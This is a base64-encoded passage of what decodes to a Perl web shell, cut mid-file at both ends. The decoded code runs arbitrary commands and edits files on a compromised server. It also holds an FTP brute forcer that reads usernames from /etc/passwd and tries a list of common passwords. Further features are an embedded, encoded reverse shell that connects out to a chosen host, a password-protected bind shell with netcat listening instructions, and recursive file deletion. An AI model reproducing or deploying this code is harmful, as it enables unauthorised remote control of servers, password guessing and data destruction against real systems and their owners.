bGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsKCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBydW4gY29tbWFuZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgpzdWIgUnVuQ21kCnsKCW15ICRyZXN1bHQ9IiI7CgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CglpZighJFdpbk5UKQoJewoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJfQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJewoJCSR8PTE7CgkJJENvbW1hbmQgLj0gIiB8IjsKCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJewoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOwoJCX0KCQkkfD0wOwoJfQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgl7CgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygnJENvbW1hbmQnKTsKCX0KCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRm9ybSBTYXZlIEZpbGUgCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlRm9ybQp7CglteSAkcmVzdWx0ID0iIjsKCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOwoJbXkgJGZpbGU9JnRyaW0oJFJ1bkNvbW1hbmQpOwoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsKCW15ICRkaXI9IjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiZ3VpIikuIjwvc3Bhbj4iOwoJaWYoLXcgJEZpbGUpCgl7CgkJJHJvd3M9IjIzIgoJfWVsc2UKCXsKCQkkbXNnPSI8YnI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTsgY29sb3I6IHllbGxvdzsnID4gUGVybWlzc2lvbiBkZW5pZWQhPGZvbnQ+PGJyPiI7CgkJJHJvd3M9IjIwIgoJfQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJJHJlYWQ9KCRXaW5OVCk/InR5cGUiOiJsZXNzIjsKCSRSdW5Db21tYW5kID0gIiRyZWFkIFwiJFJ1bkNvbW1hbmRcIiI7CgkkcmVzdWx0IC49ICA8PEVORDsKCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CgkkUHJvbXB0Cgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPgoJPGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cKCTxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPgpFTkQKCQoJJHJlc3VsdCAuPSAmUnVuQ21kOwoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsKCSRyZXN1bHQgLj0gICI8L2Zvcm0+IjsKCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBTYXZlIEZpbGUKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGUoJCkKewoJbXkgJERhdGE9IHNoaWZ0IDsKCW15ICRGaWxlPSBzaGlmdDsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRGaWxlOwoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpCgl7CgkJYmlubW9kZSBGSUxFOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlyZXR1cm4gMTsKCX1lbHNlCgl7CgkJcmV0dXJuIDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlciBGb3JtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyRm9ybQp7CglteSAkcmVzdWx0PSIiOwoJJHJlc3VsdCAuPSA8PEVORDsKCjx0YWJsZT4KCjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM8YnI+ClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4KPC90ZD4KPC90cj4KPHRyPgo8dGQ+VXNlcjo8YnI+PHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0idXNlciI+CkVORApjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOwokcmVzdWx0IC49IDw8J0VORCc7CjwvdGV4dGFyZWE+PC90ZD4KPHRkPgoKUGFzczo8YnI+Cjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MKMTIzIUAjCjEyM2FkbWluCjEyM2FiYwoxMjM0NTZhZG1pbgoxMjM0NTU0MzIxCjEyMzQ0MzIxCnBhc3MxMjMKYWRtaW4KYWRtaW5jcAphZG1pbmlzdHJhdG9yCm1hdGtoYXUKcGFzc2FkbWluCnBAc3N3b3JkCnBAc3N3MHJkCnBhc3N3b3JkCjEyMzQ1NgoxMjM0NTY3CjEyMzQ1Njc4CjEyMzQ1Njc4OQoxMjM0NTY3ODkwCjExMTExMQowMDAwMDAKMjIyMjIyCjMzMzMzMwo0NDQ0NDQKNTU1NTU1CjY2NjY2Ngo3Nzc3NzcKODg4ODg4Cjk5OTk5OQoxMjMxMjMKMjM0MjM0CjM0NTM0NQo0NTY0NTYKNTY3NTY3CjY3ODY3OAo3ODk3ODkKMTIzMzIxCjQ1NjY1NAo2NTQzMjEKNzY1NDMyMQo4NzY1NDMyMQo5ODc2NTQzMjEKMDk4NzY1NDMyMQphZG1pbjEyMwphZG1pbjEyMzQ1NgphYmNkZWYKYWJjYWJjCiFAIyFAIwohQCMkJV4KIUAjJCVeJiooCiFAIyQkI0AhCmFiYzEyMwphbmh5ZXVlbQppbG92ZXlvdTwvdGV4dGFyZWE+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4KCjxvcHRpb24+MDwvb3B0aW9uPgo8b3B0aW9uPjE8L29wdGlvbj4KPG9wdGlvbj4yPC9vcHRpb24+Cgo8b3B0aW9uPjM8L29wdGlvbj4KPC9zZWxlY3Q+IAo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPgo8L2Zvcm0+CjwvdGFibGU+CkVORApyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQnJ1dGUgRm9yY2VyCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyCnsKCW15ICRyZXN1bHQ9IiI7CgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307CglpZigkaW57J3VzZXInfSBlcSAiIikKCXsKCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07Cgl9ZWxzZQoJewoJCXVzZSBOZXQ6OkZUUDsgCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsKCQlAcGFzcz0gc3BsaXQoL1xuLywgJGlueydwYXNzJ30pOwoJCWNob21wKEB1c2VyKTsKCQljaG9tcChAcGFzcyk7CgkJJHJlc3VsdCAuPSAiPGJyPjxicj5bK10gVHJ5aW5nIGJydXRlICRTZXJ2ZXJOYW1lPGJyPj09PT09PT09PT09PT09PT09PT09Pj4+Pj4+Pj4+Pj4+PDw8PDw8PDw8PD09PT09PT09PT09PT09PT09PT09PGJyPjxicj5cbiI7CgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQoJCXsKCQkJaWYoISgkdXNlcm5hbWUgZXEgIiIpKQoJCQl7CgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpCgkJCQl7CgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQoJCQkJCXsKCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7CgkJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCQkJYnJlYWs7CgkJCQkJfQoJCQkJCWlmKCEoJGlueydzbGVlcCd9IGVxICIwIikpCgkJCQkJewoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7CgkJCQkJfQoJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCX0KCQkJfQoJCX0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZEZvcm0KewoJcmV0dXJuIDw8RU5EOwoJPGJyPjxicj4KCgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPgoJPHRkPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImNsaWVudGFkZHIiIHZhbHVlPSIkRU5WeydSRU1PVEVfQUREUid9Ij4KCSBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNyIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjgwIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmEnKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPjwvdGQ+CgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDbGllbnQgbGlzdGVuIGJlZm9yZSBjb25uZWN0IGJhY2shCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+Cgk8YnI+WytdIENsaWVudCBsaXN0ZW4gd2l0aCBjb21tYW5kOiA8cnVuPm5jIC12diAtbCAtcCA8c3BhbiBpZD0iYmEiPjgwPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPgoKCTwvdHI+Cgk8L3RhYmxlPgoKCTxicj48YnI+Cgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CaW5kIFBvcnQ6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+CgoJIFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImJpbmRwYXNzIiB2YWx1ZT0iVEhJRVVHSUFCVU9OIj48L3RkPgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDaHVjIG5hbmcgY2h1YSBkYyB0ZXN0IQoJPGJyPlsrXSBUcnkgY29tbWFuZDogPHJ1bj5uYyAkRU5WeydTRVJWRVJfQUREUid9IDxzcGFuIGlkPSJiaSI+MTQxMjwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT48YnI+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCYWNrY29ubmVjdCB1c2UgcGVybAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZAp7Cgl1c2UgTUlNRTo6QmFzZTY0OwoJdXNlIFNvY2tldDsJCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7CgkkYmluZHBlcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKRUZTUjBNOVFFRlNSMVk3RFFva2NHOXlkQWs5SUNSQlVrZFdXekJkT3cwS0pIQnliM1J2Q1QwZ1oyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLSkZOb1pXeHNDVDBnSWk5aWFXNHZZbUZ6YUNJN0RRcHpiMk5yWlhRb1UwVlNWa1ZTTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktXOXlJR1JwWlNBaWMyOWphMlYwT2lRaElqc05Dbk5sZEhOdlkydHZjSFFvVTBWU1ZrVlNMQ0JUVDB4ZlUwOURTMFZVTENCVFQxOVNSVlZUUlVGRVJGSXNJSEJoWTJzb0ltd2lMQ0F4S1NsdmNpQmthV1VnSW5ObGRITnZZMnR2Y0hRNklDUWhJanNOQ21KcGJtUW9VMFZTVmtWU0xDQnpiMk5yWVdSa2NsOXBiaWdrY0c5eWRDd2dTVTVCUkVSU1gwRk9XU2twYjNJZ1pHbGxJQ0ppYVc1a09pQWtJU0k3RFFwc2FYTjBaVzRvVTBWU1ZrVlNMQ0JUVDAxQldFTlBUazRwQ1FsdmNpQmthV1VnSW14cGMzUmxiam9nSkNFaU93MEtabTl5S0RzZ0pIQmhaR1J5SUQwZ1lXTmpaWEIwS0VOTVNVVk9WQ3dnVTBWU1ZrVlNLVHNnWTJ4dmMyVWdRMHhKUlU1VUtRMEtldzBLQ1c5d1pXNG9VMVJFU1U0c0lDSStKa05NU1VWT1ZDSXBPdzBLQ1c5d1pXNG9VMVJFVDFWVUxDQWlQaVpEVEVsRlRsUWlLVHNOQ2dsdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3RFFvSmMzbHpkR1Z0S0NKMWJuTmxkQ0JJU1ZOVVJrbE1SVHNnZFc1elpYUWdVMEZXUlVoSlUxUWdPMlZqYUc4Z0oxc3JYU0JUZVhOMFpXMXBibVp2T2lBbk95QjFibUZ0WlNBdFlUdGxZMmh2TzJWamFHOGdKMXNyWFNCVmMyVnlhVzVtYnpvZ0p6c2dhV1E3WldOb2J6dGxZMmh2SUNkYksxMGdSR2x5WldOMGIzSjVPaUFuT3lCd2QyUTdaV05vYnpzZ1pXTm9ieUFuV3l0ZElGTm9aV3hzT2lBbk95UlRhR1ZzYkNJcE93MEtDV05zYjNObEtGTlVSRWxPS1RzTkNnbGpiRzl6WlNoVFZFUlBWVlFwT3cwS0NXTnNiM05sS0ZOVVJFVlNVaWs3RFFwOURRbz0iOwoKCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307CgkkQ2xpZW50UG9ydCA9IGludCgkaW57J2NsaWVudHBvcnQnfSk7CglpZigkQ2xpZW50UG9ydCBlcSAwKQoJewoJCXJldHVybiAmQmFja0JpbmRGb3JtOwoJfWVsc2lmKCEkQ2xpZW50QWRkciBlcSAiIikKCXsKCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiYWNrcGVybCk7CgkJaWYoLXcgIi90bXAvIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JhY2tjb25uZWN0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiYWNrY29ubmVjdC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX1lbHNlCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmluZHBlcmwpOwoJCWlmKC13ICIvdG1wIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JpbmRwb3J0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiaW5kcG9ydC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmluZHBvcnQucGwgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgIEFycmF5IExpc3QgRGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJtRGlyKCQpIAp7CglteSAkZGlyID0gc2hpZnQ7CiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkKCXsKCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkKCQl7CgkJCWlmKCgkZmlsZSBuZSAiLiIpICYmICgkZmlsZSBuZSAiLi4iKSkKCQkJewoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7CgkJCQlpZigtZCAkZmlsZSkKCQkJCXsKCQkJCQkmUm1EaXIoJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXVubGluaygkZmlsZSk7CgkJCQl9CgkJCX0KCQl9CgkJY2xvc2VkaXIoRElSKTsKCX0KCWlmKCFybWRpcigkZGlyKSkKCXsKCQkKCX0KfQpzdWIgRmlsZU93bmVyKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJHVpZCwkZ2lkKSA9IChzdGF0KCRmaWxlKSlbNCw1XTsKCQlpZigkV2luTlQpCgkJewoJCQlyZXR1cm4gIj8/PyI7CgkJfQoJCWVsc2UKCQl7CgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOwoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7CgkJCXJldHVybiAkbmFtZS4iLyIuJGdyb3VwOwoJCX0KCX0KCXJldHVybiAiPz8/IjsKfQpzdWIgUGFyZW50Rm9sZGVyKCQpCnsKCW15ICRwYXRoID0gc2hpZnQ7CglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7CgljaG9wKCRwYXRoID0gYCRDb21tYCk7CglyZXR1cm4gJHBhdGg7Cn0Kc3ViIEZpbGVQZXJtcygkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJbXkgJHVyID0gIi0iOwoJbXkgJHV3ID0gIi0iOwoJaWYoLWUgJGZpbGUpCgl7CgkJaWYoJFdpbk5UKQoJCXsKCQkJaWYoLXIgJGZpbGUpeyAkdXIgPSAiciI7IH0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3OwoJCX1lbHNlCgkJewoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOwoJCQkkcmVzdWx0ID0gc3ByaW50ZigiJTA0byIsICRtb2RlICYgMDc3NzcpOwoJCQlyZXR1cm4gJHJlc3VsdDsKCQl9Cgl9CglyZXR1cm4gIjAwMDAiOwp9CnN1YiBGaWxlTGFzdE1vZGlmaWVkKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigt